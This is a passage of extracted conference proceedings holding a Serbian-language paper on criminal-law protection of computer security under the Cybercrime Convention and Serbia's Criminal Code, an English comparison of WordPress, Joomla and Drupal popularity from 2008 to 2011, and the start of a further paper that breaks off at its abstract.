In the legislation of the Republic of Serbia, different dimensions of the right to privacy are guaranteed by: Constitution of the Republic of Serbia [29], Law on Personal Data Protection [30], Law on Free Access to Information of Public Importance [31], Law on Electronic Communications [32], Law on Public Information and Media [33], and provisions of the Criminal Code of the Republic of Serbia [34]. All these documents together form the overall regulatory framework for constitution and understanding of the right to privacy, but differ in application, interpretation and sanctioning. Protection of privacy rights at the international and national levels refers to the private sphere of life, family life, inviolability of the home and correspondence, honour and reputation of individuals.

In Serbia, the right to be informed is proclaimed in the Constitution of the Republic of Serbia and in the Law on Public Information and Media [35]. The two acts set limitations for the rights to privacy, freedom of expression and the right to be informed in order to prevent disproportionate restriction. The Serbian Constitution guarantees the right to be informed (article 51), which means that everyone has the right to be accurately, completely and timely informed about all issues of public importance and that everyone, in accordance with the law, has the right to access information held by the state authorities and organizations entrusted with public authorisation.

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ZAŠTITA RAČUNARSKE BEZBEDNOSTI PUTEM KRIVIČNOG PRAVA

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Računari i računarski sistemi su danas postali neophodni pratilac ljudskog života, ali i privrednog poslovanja, kao i delatnosti državnh i drugih organa. Iako se radi o korisnim uređajima i sistemima za efikasno i kvalitetno funkcionisanje svake države, pa i međunarodnih odnosa, oni su podložni velikom riziku i izazovima od fizičkih i pravnih lica iz različitih razloga (motiva). Na bazi usvojenih međunarodnih dokumenata univerzalnog i regionalnog karaktera, najveći broj država, pa tako i Republika Srbija, u svom nacionalnom zakonodavstvu poznaju različite mehanizme zaštite i obezbeđenja efikasnog, kvalitetnog i blagovremenog funkcionisanja računarskih sistema i računarskih uređaja. Poseban segment ove zaštite čini pravna zaštita, u prvom redu krivičnopravna zaštita bezbednosti računarskih sistema. Tako i zakonodavstvo Republike Srbije predviđa krivičnu odgovornost i kazne za više računarskih (kompjuterskih) krivičnih dela o čijim se karakteristikama sa teorijskog i praktičnog aspekta govori u ovom radu.

INTERNATIONAL SCIENTIFIC CONFERENCE ON INFORMATION TECHNOLOGY AND DATA RELATED RESEARCH

Ključne reči:

računar, računarski sistemi, računarska bezbednost, krivično delo, odgovornost.

1. UVOD

Usvajanjem Zakona o izmenama i dopunama Krivičnog zakona Republike Srbije, aprila 2003. godine, na bazi međunarodnih standarda univerzalnog ili regionalnog karaktera, u sistem krivičnog prava Republike Srbije je po prvi put uvedeno više računarskih (kompjuterskih) krivičnih dela, te određena pravila o krivičnoj odgovornosti i kažnjavanju učinilaca ovih dela [9, pp. 351-361]. To je bio početak dizanja računarske bezbednosti na kvalitetno viši nivo. Naime, u novouvedenoj glavi 16a Krivičnog zakona Republike Srbije propisana je krivična odgovornost i sistem kazni i drugih krivičnih sankcija (mere bezbednosti) za specifična "krivična dela protiv bezbednosti računarskih podataka".

Time se i Republika Srbija priključila velikom broju savremenih država koje se na različite načine i različitim merama (u prvom redu sistemom preventivnih i represivnih mera) pokušavaju efikasno, blagovremeno, zakonito i kvalitetno suprotstaviti različitim oblicima i vidovima zloupotrebe računara u cilju ostvarenja protivpravne imovinske koristi za sebe ili drugo fizičko ili pravno lice, odnosno u cilju nanošenja (imovinske) štete drugom licu ili radi povrede prava drugog lica, ili pak iz drugih nezakonitih motiva.

Konstituisanjem Republike Srbije kao samostalne i međunarodno priznate države, septembra 2005. godine, donet je danas važeći jedinstveni i sistematizovani kodeks svih krivičnopravnih normi materijalnopravnog karaktera – Krivični zakonik Republike Srbije (KZ). U glavi XXVII, pod nazivom "Krivična dela protiv bezbednosti računarskih podataka", KZ propisuje računarska krivična dela. Ovaj Zakonik počeo je da se primenjuje od 1. januara 2006. godine i do sada je imao više izmena i dopuna, uključujući i poslednje izmene iz novembra 2016. godine.

2. EVROPSKI STANDARDI ZAŠTITE RAČUNARSKE BEZBEDNOSTI

Savet Evrope je donošenjem Konvencije o kibernetičkom (sajber) kriminalu (Convention on Cybercrime, ETS 185) od 23. novembra 2001. godine [4, pp. 261-265] pokušao da postavi osnove jedinstvenog evropskog sistema materijalnog i procesnog krivičnog prava u oblasti neophodne saradnje država članica u suzbijanju različitih oblika i vidova računarskog (kibernetičkog) kriminala. Pri tome je sama Konvencija (čl. 2-13) propisala pet krivičnih dela ove vrste koja su upravljena protiv tajnosti, celovitosti i dostupnosti računarskih podataka i sistema. Ovim su postavljene osnove za pojedina nacionalna zakonodavstva da preciznije odrede obeležja i karakteristike pojedinih računarskih krivičnih dela, njihove osnovne, lakše ili teže oblike, te da propiše krivične sankcije za njihove učinioce (fizička ili pravna lica).

Uz ovu Konvenciju usvojen je i Dopunski protokol o kriminaliziranju akata rasističke i ksenofobične prirode koja su učinjena posredstvom računarskih sistema. I ovaj Protokol u čl. 3-7 propisuje takođe krivičnu odgovornost i kažnjivost za zloupotrebu računara u vršenju krivičnih dela iz rasističkih i ksenofobičnih pobuda (motiva).

Imajući u vidu utvrđene obaveze za države članice Saveta Evrope, bilo je logično očekivati da će i u domaćem krivičnom zakonodavstvu uslediti, prvo, na zakonodavnom planu, pa potom i u praksi efikasna, kvalitetna i zakonita borba sa računarskim kriminalitetom i njihovim izvršiocima [11, pp. 116-124].

Prihvatajući navedenu Konvenciju, Republika Srbija je izmenama i dopunama Krivičnog zakona Republike Srbije iz aprila 2003. godine u krivičnopravni sistem uvela više računarskih krivičnih dela u glavi 16a pod nazivom "Krivična dela protiv bezbednosti računarskih podataka" koja su imala za cilj da obezbede efikasnu, kvalitetnu i zakonitu zaštitu računarske bezbednosti [9, pp. 351-361]. Identična krivična dela su potom uvedena i u Krivičnom zakoniku Crne Gore 2003. godine u glavi XXVIII pod istim nazivom [15, pp. 816-824] budući da su ove dve republike činile Državnu zajednicu Srbija i Crna Gora do maja 2005. godine.

U osnovi Konvencije o kibernetičkom kriminalu, kao obavezujućem međunarodnom dokumentu koji je donet od strane najznačajnije i najmasovnije evropske regionalne organizacije, nalazi se više prethodno donetih preporuka kao što su: (1) Preporuka broj R (85) 10 o praktičnoj primeni Evropske konvencije o uzajamnoj pomoći u krivičnim predmetima u pogledu pružanja međunarodne krivičnopravne pomoći pri presretanju komunikacija, (2) Preporuka broj R (88) 2 o piratstvu na polju autorskih i srodnih prava, (3) Preproruka broj R (87) 15 koja propisuje upotrebu ličnih podataka u oblasti delatnosti policije, (4.) Preporuka broj R (95) 4 o zaštiti ličnih podataka na području telekomunikacionih usluga sa posebnim osvrtom na ulogu telefonije, (5) Preporuka broj R (89) 9 o računarskom kriminalu koja daje smernice nacionalnim organima u pogledu definisanja pojedinih računarskih krivičnih dela i (6) Preporuka broj R (95) 13 o problemima krivičnog procesog prava koji su vezani za informatičku tehnologiju [3, pp. 87-92].

Konvencija o kibernetičkom kriminalu predviđa niz pravnih sredstava, mera i postupaka, koji su nužni radi odvraćanja lica od radnji koje su usmerene protiv tajnosti, celovitosti i dostupnosti računarskih, sistema, mreža i računarskih podataka, kao i za odvraćanje od njihove zloupotrebe u bilo kom vidu [14, pp. 78-82]. Na taj način se olakašava otkrivanje, istraživanje i krivični progon tih dela i njihovih učinilaca na domaćem i međunarodnom nivou i osigurava efikasna i brza međunarodna saradnja.

U članu 1 Konvencija je definisala osnovne pojmove računarskog (kibernetičkog, sajber) kriminaliteta kao što su: računarski sistem, računarski podatak, davalac usluga ili podaci o prometu. Ovim je dato uputstvo nacionalnom zakonodavcu da u ovom duhu tretira ove zaštićene vrednosti kao objekte krivičnopravne zaštite [18, pp. 94-97].

U drugom poglavlju pod nazivom "Kazneno materijalno pravo" u više odredbi su dati pojam i karakteristike pojedinih krivičnih dela koje treba inkriminisati u nacionalnim pravnim sistemima država članica Saveta Evrope. To su sledeća krivična dela koja povređuju ili ugrožavaju računarsku bezbednost: (1) krivična dela protiv tajnosti, celovitosti i dostupnosti računarskih podataka i sistema (čl. 2-6) – nezakonti pristup, nezakonito presretanje, ometanje podataka, ometanje sistema i zloupotreba uređaja, (2) računarska krivična dela (čl.7 i 8) – računarsko

falsifikovanje i računarska prevara, (3) krivična dela u vezi sa sadržajem (član 9) – krivična dela vezana za dečju pornografiju i (4) krivična dela povrede autorskih i srodnih prava (član 10).

Ono što je od posebnog značaja jesu odredbe Konvencije koje izričito zahtevaju od država članica da se kazni i za pokušaj ovih krivičnih dela, kao i za oblike saučesništva u vidu podstrekavanja i pomaganja, kao i da se pored odgovornosti fizičkih lica za ova dela predvidi i krivična odgovornost pravnih lica.

Sve navedene standarde je novo krivično zakonodavstvo Srbije u potpunosti implementiralo u svoj pravni sistem obezbeđujući vrstu i meru kazne za pojedina krivična dela, kao i formirajući posebne organe u okviru policije, javnog tužilaštva i Višeg suda u Beogradu – posebne organizacione jedinice za borbu protiv visokotehnološkog kriminala gde spadaju navedena krivična dela.

KRIVIČNOPRAVNA ZAŠTITA RAČUNARSKE BEZBEDNOSTI

Zbog postojanja različitih oblika i vidova ispoljavanja zloupotrebe računara u svakodnevnim životnim situacijama, KZ propisuje više računarskih krivičnih dela ili kako ih on naziva "krivičnih dela protiv bezbednosti računarskih podataka" kao najopasnijih oblika povrede ili ugrožavanja računarske bezbednosti fizičkih ili pravnih lica, u zemlji ili inostranstvu [13, pp. 214-221]. No, sva ta pojedina dela, pored brojnih različitosti, imaju i niz specifičnih karakteristika koje su im zajedničke [17, pp. 32-40].

Računar, u svakom slučaju, predstavlja jednu od najznačajnijih i najrevolucionarnijih tekovina razvoja tehničko-tehnološke civilizacije. No, pored brojnih prednosti koje sobom nosi i ogromne koristi za čovečanstvo, računar je brzo postao i sredstvo za razne zloupotrebe nesavesnih pojedinaca, grupa, pa i čitavih organizacija. Tako nastaje računarski kriminalitet kao poseban i specifičan oblik savremenog kriminaliteta po strukturi, osobenostima, oblicima ispoljavanja, karakteristikama učinioca, načinu i sredstvima izvršenja itd.

Ovaj vid kriminaliteta, za razliku od drugih, još uvek ne predstavlja zaokruženu fenomenološku kategoriju, te ga je nemoguće definisati jedinstvenim i preciznim pojmovnim određenjem. Računarski kriminalitet je samo opšta forma kroz koju se ispoljavaju različiti oblici kriminalne delatnosti, uz pomoć ili posredstvom računara. Naime, to je kriminalitet koji je upravljen protiv bezbednosti računarskih (informatičkih, kompjuterskih) sistema u celini ili njegovih pojedinih delova na različite načine i različitim sredstvima u nameri da se sebi ili drugom fizičkom ili pravnom licu pribavi protivpravna imovinska korist ili drugome nanese kakva, najčešće, imovinska šteta.

3.1. Objekt računarskih krivičnih dela

Objekt zaštite kod računarskih krivičnih dela jeste računarska bezbednost ili bezbednost računarskih (kompjuterskih) podataka i sistema, odnosno računarske mreže [8, pp. 56-62]. Iako je danas uobičajeno da se ova krivična dela obuhvataju pojmom "kompjuterski" kriminalitet , domaći je zakonodavac za njih ipak upotrebio termin "računarski" kriminalitet. No, pored ovog naziva za krivična dela sistematizovana na ovom mestu, zakonodavstvo Srbije upotrebljava i pojam "visokotehnološki" kriminal. Pod ovim se pojmom podrazumeva vršenje krivičnih dela kod kojih se kao objekat ili kao sredstvo izvršenja krivičnih dela javljaju računari, računarske mreže, računarski podaci, računarski sistemi, kao i njihovi proizvodi u materijalnom ili elektronskom obliku.

Pri tome je sam zakonodavac u članu 112 KZ odredio pojam i karakteristike objekta napada kod ovih krivičnih dela. To su: 1) računarski podatak, 2) računarska mreža, 3) računarski program, 4) računarski virus, 5) računar i 6) računarski sistem [13, pp. 189-192].

Računarski podatak je svako predstavljanje činjenica, informacija ili koncepta u obliku koji je podesan za njihovu obradu u računarskom sistemu, uključujući i odgovarajući program na osnovu koga računarski sistem obavlja svoju funkciju (član 112 stav 17 KZ). Računarska mreža predstavlja skup međusobno povezanih računara, odnosno računarskih sistema koji komuniciraju razmenjujući podatke (član 112 stav 18 KZ). Računarski program je uređeni skup naredbi koji služi za upravljanje radom računara, kao i za rešavanje određenog zadatka pomoću računara (član 112 stav 19 KZ). Računarski virus je računarski program ili drugi skup naredbi koji je unet u računar ili računarsku mrežu, koji je napravljen da sam sebe umnožava i deluje na druge programe ili podatke u računaru ili računarskoj mreži dodavanjem tog programa ili skupa naredbi jednom ili više računarskih programa ili podataka (član 112 stav 20 KZ). Računar je svaki elektronski uređaj koji na osnovu programa automatski obrađuje i razmenjuje podatke (član 112 stav 33 KZ). I konačno, računarski sistem je svaki uređaj ili grupa međusobno povezanih ili zavisnih uređaja od kojih jedan ili više njih, na osnovu programa vrši automatsku obradu podataka (član 112 stav 34 KZ).

3.2. Pojam računarskih krivičnih dela

Kompjuter (računar) predstavlja jednu od najznačajnijih i najrevolucionarnijih tekovina tehničko-tehnološkog razvoja na kraju 20. veka. No, pored prednosti koje računar nosi sa sobom i ogromne koristi za čovečanstvo, on je ubrzo postao i sredstvo zloupotrebe nesavesnih pojedinaca ili grupa. Tako nastaje računarski kriminalitet, kao poseban i specifičan oblik savremenog kriminaliteta. Zahvaljujući ogromnoj moći računara u memorisanju i brzoj obradi velikog broja podataka, automatizovani informacioni sistemi postaju sve brojniji i nezamenjivi pratilac celokupnog ljudskog i društvenog života fizičkih i pravnih lica [19, pp. 305-318].

Različite forme primene računara u svim oblastima života, privrede i drugih društvenih delatnosti nisu ostale nezapažene od strane nesavesnih i zlonamernih pojedinaca ili grupa koji ne birajući sredstva i načine pokušavaju da pribave za sebe ili drugog protivpravnu imovinsku korist ili da drugome nanesu kakvu, najčešće, štetu. Tako računar postaje sredstvo, oruđe za izvršenje različitih krivičnih dela. Za različite oblike i vidove zloupotrebe računara u teoriji se upotrebljavaju i različiti nazivi kao što su: zloupotreba računara (*computer abuse*), delikti uz pomoć računara (*crime by computer*), kompjuterska prevara (*computer fraud*), informatički kriminalitet, računarski kriminalitet, sajber kriminalitet, tehno kriminalitet itd. [10, pp. 639].

U pravnoj teoriji se mogu uočiti različita određenja pojma računarskog kriminaliteta. Tako, Don Parker određuje računarski kriminalitet kao zloupotrebu kompjutera u smislu svakog događaja koji je u vezi sa upotrebom kompjuterske tehnologije u kome žrtva trpi ili bi mogla da trpi gubitak, a učinilac deluje u nameri da sebi pribavi ili bi mogao da pribavi korist [7, pp. 70]. Avgust Bekui definiše kompjuterski kriminalitet kao vršenje krivičnih dela kod kojih se računar pojavljuje kao oruđe ili objekt zaštite, odnosno kao upotrebu kompjutera pri vršenju prevare, utaje ili zloupotrebe čiji je cilj prisvajanje novca, usluge ili vršenje političke ili poslovne manipulacije, uključujući i radnje uperene protiv samog računara [1, pp. 4]. Bogo Brvar pod računarskim kriminalitetom smatra vršenje krivičnih dela kod kojih se kompjuter pojavljuje kao sredstvo (oruđe), predmet ili objekt napada za čije je vršenje ili pokušaj neophodno izvesno znanje iz računarstva ili informatike [6, pp. 29]. Tako se može zaključiti da se pod pojmom računarskog kriminaliteta [5, pp. 233-235] i [16, pp. 52-56] podrazumeva sveukupnost različitih oblika, vidova i formi ispoljavanja protivpravnih ponašanja upravljenih protiv bezbednosti računarskih,

informacionih i kompjuterskih sistema u celini ili njihovih pojedinih delova na različite načine i različitim sredstvima u nameri da se sebi ili drugom pribavi korist (imovinske ili neimovinske prirode) ili da se drugome nanese šteta.

Iz ovako određenog pojma računarskog kriminaliteta, kao najopasnijeg oblika ugrožavanja računarske bezbednosti, proizilaze njegove osnovne karakteristike [2, pp. 211-214]. To su: 1) objekt zaštite je bezbednost računarskih podataka ili informacionog sistema u celini ili njegovog pojedinog dela (segmenta), 2) poseban, specifičan karakter i priroda protivpravnih delatnosti pojedinaca, 3) posebna znanja i specijalizacija na strani učinioca ovih krivičnih dela koja isključuje mogućnost da se svako, bilo koje lice nađe u ovoj ulozi, 4) poseban način i sredstvo preduzimanja radnje izvršenja - uz pomoć ili upotrebom (zloupotrebom) računara i 5) namera učinioca kao subjektivni elemenat u vreme preduzimanja radnje koja se ogleda u nameri pribavljanja za sebe ili drugog koristi ili nanošenja štete drugom fizičkom ili pravnom licu.

Računarski kriminalitet karakteriše velika dinamika i izuzetna šarolikost pojavnih oblika, formi i vidova ispoljavanja. To je i razumljivo jer se radi o novoj tehnologiji sa velikim mogućnostima primene u širokoj sferi ljudske, društvene i privredne delatnosti, te su i mogućnosti zloupotrebe računara svaki dan sve veće. Pored novih pojavnih oblika ranije, već poznatih krivičnih dela koja pod uticajem zloupotrebe kompjutera menjaju tradicionalni, klasični način i modus ispoljavanja (krađa, prevara, falsifikovanje), javljaju se i novi oblici protivpravnog i kažnjivog ponašanja koji ne poznaju granice između država (pravljenje računarskog virusa).

Štetne posledice računarskih krivičnih dela su velike i ispoljavaju se u nastupanju imovinske štete za fizička ili pravna lica (ponekad i za celu državu), u gubitku poslovnog ugleda, gubitku poverenja u sigurnost i istinitost računarskog poslovanja i uopšte računarskih podataka, opasnosti od zloupotrebe po slobode i prava čoveka i građana na razne načine, odavanje lične, poslovne i drugih vidova tajni i sl.

3.3. Ostali elementi računarskih krivičnih dela

U teoriji krivičnog prava se u oblast računarskog kriminaliteta svrstavaju različiti oblici protivpravnog, nedozvoljenog ponašanja kao što su: 1) računarska prevara, 2) finansijske krađe, prevare, utaje i zloupotrebe, 3) krađa dobara, 4) falsifikovanje podataka i dokumenata, 5) vandalizam, 6) sabotaža, 7) hakerisanje, 8) računarska špijunaža i 9) krađa vremena [12, pp. 211-214].

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Velike praktične mogućnosti koje pruža savremena visoko sofisticirana računarska i informatička tehnologija sa sobom nose i opasnost od širenja i masovne upotrebe elektronskog prisluškivanja, krađe poslovnih i drugih tajni, kao i različitih oblika intelektualne svojine, zatim ozbiljnog narušavanja privatnosti i ugrožavanja ljudskih sloboda i prava, kao i ličnog integriteta. U poslednje vreme je prisutna i realna opasnost od talasa različitih oblika terorističkog delovanja (tzv. tehno ili sajber terorizam).

Izvršioci računarskih krivičnih dela predstavljaju specifičnu kategoriju lica. Radi se, uglavnom, o nedelinkventnim i socijalno prilagodljivim, nenasilnim ličnostima. Oni za vršenje krivičnih dela putem računara moraju da poseduju određena specijalna, stručna i praktična znanja i veštine u domenu informatičke i računarske tehnike i tehnologije. Pored toga, radi se o licima kojima su ovakva tehnička sredstva (računari) dostupna u fizičkom smislu.

Ova se krivična dela vrše prikriveno, često bez vidljive prostorne i vremenski bliske povezanosti između učinioca dela i oštećenog (pasivnog subjekta). U praksi postoji veća ili manja vremenska razlika između preduzete radnje izvršenja krivičnog dela i trenutka nastupanja njegove posledice. Ova se dela teško otkrivaju, a još teže dokazuju, dugo ostaju praktično neotkrivena, sve dok oštećeni ne pretrpi štetu u domenu informatičkih i računarskih podataka ili sistema. Radi se o kriminalitetu koji brzo i lako menja forme i oblike ispoljavanja, granice među državama, kao i vrstu oštećenog. U pogledu krivice, ova se dela vrše isključivo sa umišljajem.

KZ u glavi 27. pod nazivom "Krivična dela protiv bezbednosti računarskih podataka" u čl. 298-304a predviđa sledeća računarska krivična dela: 1) oštećenje računarskih podataka i programa, 2) računarska sabotaža, 3) pravljenje i unošenje računarskih virusa, 4) računarska prevara, 5) neovlašćeni pristup zaštićenom računaru, računarskoj mreži i elektronskoj obradi podataka, 6) sprečavanje i ograničavanje pristupa javnoj računarskoj mreži, 7) neovlašćeno korišćenje računara ili računarske mreže i 8) pravljenje, nabavljanje i davanje drugom sredstava za izvršenje krivičnih dela protiv bezbednosti računarskih podataka.

4. ZAKLJUČAK

Najopasnija forma povrede i ugrožavanja računarske bezbednosti predstavljaju različiti oblici računarskog kriminaliteta. To može biti bilo klasični, bilo organizovani kriminalitet koji ako je upravljen protiv računarske bezbednosti, polako ali sigurno zauzima svoje mesto u obimu, dinamici i strukturi savremenog kriminaliteta. Uočavajući opasnosti od zloupotrebe računara i savremene tehnologije koja je povezana sa računarskim sistemima, međunarodna zajednica je reagovala donošenjem određenih međunarodnih dokumenata. Standardi sadržani u njima su tako postali osnova za jedinstvenu akciju pojedinih država i na nacionalnom planu u cilju sprečavanja i suzbijanja računarskog kriminaliteta svih vrsta, oblika i vidova ispoljavanja.

Na bazi međunarodnih standarda koje je prihvatila i Republika Srbija, još 2003. godine je u domaćem krivičnom zakonodavstvu uvedeno više računarskih krivičnih dela sa različitim oblicima i vidovima ispoljavanja i sistemom krivičnih sankcija za njihove učinioce. To su najteži i najozbiljniji oblici ugrožavanja ili povrede računarske bezbednosti. Potom je formiran sistem državnih organa specijalizovanih za otkrivanje i dokazivanje kriivčnih dela ove vrste, kao što su tužilac za visokotehnološki kriminal i odeljenje Višeg suda u Beogradu za visokotehnološki kriminal, uz istovremeno formiranje i specijalizovanih organa u Ministarstvu unutrašnjih poslova Republike Srbije.

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PROTECTION OF COMPUTER SECURITY THROUG CRIMINAL LAW

Abstract:

Today, computers and computer systems have become an essential companion of a human life but also of a economic business, as well as work of state and other organs. Even though these are useful devices and systems for efficient and quality functioning of each state, and international relations, they are subject to a high risk and challenges of natural and legal persons for various reasons (motives). On the basis of adopted international documents of international and regional character, major number of the countries in their legislations, including the Republic of Serbia, have recognized various mechanisms of protection and enabling efficient, quality and due functioning of computer systems and devices. A special part of this protection is legal protection, in the first line criminal and legal protection of security of computer systems. Therefore, the legislation of the Republic of Serbia provides for criminal responsibility and penalties for many computer criminal offences, and this papers speaks about their characteristics from theoretical and practical aspect.

Keywords:

computer, computer systems, computer security, criminal offence, responsibility.



ANALYZING THE POTENTIAL MECHANISM FOR MEASUREMENTS - THE MOST POPULAR OPEN SOURCE WEB CONTENT MANAGEMENT SYSTEM

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Abstract:

The paper is dedicated to the analysis of the most popular Open Source Web Content Management System. The paper presents basic concepts and results of the gathered information related to participation of three the most popular systems, during period 2008 to 2011. Based on this information, the paper shows the trends in the development and popularity on the market. Through analysis of available information it has been proven, that the practice already knows, that the three most prominent systems are: Word Press, Joomla and Drupal, and exactly in that order in which they appear. Around the globe many researches has been conducted in order to find out which of these three systems is the best and why, but this question remains unanswered. We want to indicate in the paper that each of three systems is the best in its area of use, depending on the purpose and level of knowledge of the users.

Keywords:

Open Source, Web Content Management System, Word Press, Joomla, Drupal.

1. INTRODUCTION

Currently a lot of content management systems which are available to users are present on the market. Each of them has advantages and disadvantages in meeting client needs. Certain number of these products are launched on the market as open source software under GNU license [11]. This license allows increased flexibility and expandability. CMS is presenting a content management system which is covering all possible solutions allowing contents classification, organization, linkage of content and every other solution of content editing [10]. This term can be used for manual processes of content management although it is mostly implicating on various software solutions enabling advanced management of large number of information. The most present form of CMS implementation is on Internet known as WCMS (Web Content Management System). One of pioneer WCMS solutions was published under the name of Mambo, achieved great success due its using simplicity. Beside providing many advantages to webmasters, mambo often gives visitors opportunity to comment and mark the content which site gives more dynamics and interactivity [12], [14].

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WCMS - Web Content Management System

WCMS (WCM or Web CMS) is CMS, which is launched as a web application, providing an option of easily creating and maintaining of HTML content. Moreover it is designed for maintaining large and dynamic HTML contents.

The basic functions are the following:

- a) creating,
- b) maintenance,
- c) changes and
- d) deletion.

WCMS is designed to meet the needs of beginners in web programming, allowing them to quickly and easily change the content of the web site. WCMS meets the challenge to be user friendly to administrators, who are not educated enough, technically, allowing them to develop web pages and organize presentations via WCMS without difficulties [2],[13].

The term Open Source

Currently there are two different interpretations: "Free Software" and " Open Source".

The term "Free Software" has root at GNU project and it could be defined as follows: free software is matter of choice not the price [15].



Image 1. Official Open Source Logo

In order to understand this concept we should think in a way that "free" are like" freedom of speech" not like "free beer". Free of charge software is "users right to use the software, make a copy, distribute, change and eventually improve "issue". It is important to be mentioned that Open Source is not free of charge software nor only that its code is available to all users. Depending on the license under which software has been launched it gives us a wide scope of abilities of improvements and re-distribution under different name (fork) as well as free of charge using. Moreover the free use depends of license owners, some of them could be used only in private, and commercial use is not allowed by license owner. Finally there is a difference between Open Source and commercial software where the author is willing to make some profit, but in same time the commercial software could be "open code" like it is in case of PHP computer language use [12].

2. THE ANALYSIS OF THE MOST POPULAR CMS SOLUTIONS

The rapid expansion of CMS systems, both commercial and open source, has become a mystery which system is used more. In this paper we processed all available information about three leading open sources and providing data about them. One of the major CMS systems indicators of use and popularity level is the number of downloads, unfortunately this information is not a good bases for deep analyze and conclusions. Comparing the information we could note the following problematic reasons:

- 1. Data are not available on many systems
- 2. Measuring time of targeted groups of data varies
- 3. Some download sites presents statistics that are not gathered automatically
- 4. Web servers have an automatic package installation (Cpanel, plesk, fantastico)
- 5. The installation packages that are included in Linux distributions (Debrian or Gentoo) are also not included in this analysis
- 6. Rates of downloads are not constant over time (release of new version etc)

If we want to conduct deep analysis, we must take in consideration the possibility that information about the number of downloads, in following chart, are potentially inaccurate.



Fig. 1. Analysis of downloads for period 2008-2011.

One of following topics, which could provide us with some information regarding the number of users, is support of the market and their participation in further development. In order to get adequate data, we will analyze following two groups:

- 1. Developers
- 2. Publishers

Above mentioned groups are the most eligible for analysis comparing to other available sources of information. In order to present precise information regarding developers and publishers, we took information about service development and demand from labor market for developers from two leading providers of online commercial services. The first provider is Elance and the second provider is Guru. In conducting deeper analyze of these systems we include the data regarding the number of professionals are offering their services in this area. Observing the chart that follows we could notice the difference in number of users per each system for targeted period of time 2008 to 2011.

The chart indicate the market demand for professional services in field of CMS systems, furthermore we must take in to consideration the fact that significant number of users independently develop their sites using CMS systems.



Fig. 2. Analysis of market demand for professional services 2008-2011.

Moreover, additional indicator of this thesis is the number of print publications related to this subject. Taking in consideration that publishers are guided with profitability, due to that, the publishing only issues with existing market demand. Having this fact, we believe that conducted analyze presents the market demand for CMS solutions, as well as the number of users, which are independently developing themselves, consequently decreasing the demand to professional assistance in the field of CMS systems and similar online systems.



Fig. 3. Analyze of published edditions 2008-2011.

The chart above presents data regarding the number of published titles in connection with mentioned CMS systems. The source is Amazone site. The information is limited only to English printed editions, which could provide us the fact regarding popularity of mentioned CMS systems, that is presented in this paper. The last indicator we have used in this paper is strength of brand of mentioned CMS solutions. Measuring the strength of brand of Open Source product is quite challenge, it is not only due to the lack of maturity and commercial sophistication nor due to the non-existing simple method of determining the strength and popularity of above mentioned brands. As a solution to this problem we used Internet, trying to get information from large number of specimens. The data that follow in next chart are result of usage of site for online statistics - Alexa. Having a benefit of taking information from Alexa we are able to determine the popularity of domain, which is standing behind these three CMS. We must have in mind, like it was the case in previous analyzes, that this method is not 100% reliable, but still able to provide the data regarding correlation of popularity between these three systems [1],[5],[6],[7],[9],[13].



Figure 4: Alexa analyze, period 2008-2011.

3. DISCUSSION

The first indicator in series of indicators that we have analyzed, is the number of downloads, beside the fact it is not reliable method, it indicates which one of three systems is the most used one, through analyzed period of time. Of course this is not valid indicator of level of usage, but definitely it presents the interest of the market at functional design of product and ability to be used for testing.

We must have on our mind that a lot of users download the installing software in order to test it, without intention to use it, in their site design. According to data of number of downloads (see Figure 1), we could notice that all three systems are declining lately (Wordpress has bigger drop than competitors), since this is not only indicator, in next chart (see Figure 2) information about labor market demand is presented, from two leading systems for mediating between demand and offer for job on internet, which give us a clear picture of how many job offers exist per each system. In this chart we can observe that Wordpress is an absolute leader during the targeted period of time which supports the data in first chart (see Figure 1). These two above mentioned indicators, clearly presents the volume of downloads per targeted system, as well as market demand of experts in this field. Moreover this data could give us a picture how many job opportunities are present on internet for someone who is expert in this field.

It is important to be mentioned that Drupal is mostly used by large number of professionals, which is supported with data presented in all charts in this paper; consequently there is lower demand for this profile experts. As it is explained with Drupal, there is also an explanation for leading CMS system in our analysis. Wordpress is leading system, supported with large number of users, which have a personal blogs or sites which are not extremely demanding. Charts also present Joomla as system which is in the middle, according to all indicators. Joomla also has significant demand on the market, mostly used for developing web pages of companies and more demanding projects, which is based on Joomla's user friendly features of the system [8],[10].

For the all analyzed systems a number of books and manuals was published, which helps users to overcome techniques how to use systems. Thanks to that, undoubtedly, we can see the support of wider community in the development of open source projects and what kind of future they have. The last chart (see figure 4 and image 2) presents indicators of online systems for web statistics, which data are reliable as well as previous analysis, observing that this system is good for monitoring of these system over many years, taking in consideration the fact that Alexa is indexed based on same criteria.



Image 2. Highcharts.com Statistic [3]

This chart supports other analysis which is indicating that Wordpress is leader against Joomla and Drupal. The index of these systems are constantly increasing which is leading us to suspect the validity of first chart (See Figure 1), which provides us a basis to made a conclusion that interest for these three systems is constantly dropping.

We must remind you, that all available information, that are processed and presented in charts, are not 100% reliable, only alternative solution is to get more confidential sources and cross data to provide more reliable conclusion.

4. CONCLUSION

Content management systems (CMS - Content Management System) is software solution, which unlike traditional methods of content management, are more friendly using, in terms of knowledge requested and the time consumption. Currently there is a large number of CMS on the Internet, but it is difficult to make a choice and select the best one. Each system has his advantages and disadvantages, in another words they are more or less convenient to meet the task.

Some of systems have a great potential, but they are not user friendly, while others provide just basic elements of functionality with very user friendly features. Because of all above mentioned it is difficult to make a proper choice, and the best way is to define needs of the site and demands of persons who will develop the site and then make a proper choice.

Choosing CMS could be long and difficult process, especially due to the existence of large number of systems on the market. On site "Sourceforge.net" 600 active Open Source CMS projects are available [4].

The paper offers three solutions, based on popularity: 1) systems which are extremely user friendly for users with low knowledge and serious requests (leader Wordpress) 2) systems for semiprofessionals and more serious requests (leader Joomla) 3) systems which are meeting the request of professionals which are involved in challenging projects (leader Drupal).

The market already recognized order of popularity between three mentioned systems and it is as follows: Wordpress, Joomla and Drupal which is confirmed in the paper. All conducted analyses support this thesis. We regret the unavailability of data for 2012 - 2016 during the writing of the paper, because it would increase the level of reliability and timeliness of the paper.

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INTERNATIONAL SCIENTIFIC CONFERENCE ON INFORMATION TECHNOLOGY AND DATA RELATED RESEARCH

INTERNET AND DEVELOPMENT PERSPECTIVES

SENDING FILE LICENSE INFORMATION THROUGH HTTP HEADERS

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Abstract:

